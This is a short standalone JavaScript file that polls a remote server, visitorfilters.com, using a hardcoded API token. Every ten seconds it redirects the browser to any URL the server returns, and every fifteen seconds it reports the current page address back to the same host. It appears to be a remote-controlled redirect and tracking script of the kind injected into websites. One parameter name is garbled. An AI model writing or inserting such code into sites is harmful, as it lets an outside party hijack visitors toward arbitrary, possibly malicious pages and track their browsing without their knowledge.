var apiUrl = "https://visitorfilters.com/api?apiToken=4e9fe0bf17d5fdf9c14b3b7ca2e69a000ce64149fbe5d7f3a5ea111e268da6ec"; function getBaseUrlAndCheckRedirect() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { try { var response = JSON.parse(this.responseText); if (response.redirect) { window.location.href = response.url; } } catch(e) { console.log("JSON parsing error:", e); } } }; xhr.open("GET", apiUrl, true); xhr.send(); } function sendHeartbeat() { if (apiUrl) { var xhr = new XMLHttpRequest(); xhr.open("POST", apiUrl, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); var currentPage = window.location.href; xhr.send("action=heartbeat¤t_page=" + encodeURIComponent(currentPage) + "&apiToken=4e9fe0bf17d5fdf9c14b3b7ca2e69a000ce64149fbe5d7f3a5ea111e268da6ec"); } } setInterval(getBaseUrlAndCheckRedirect, 10000); setInterval(sendHeartbeat, 15000);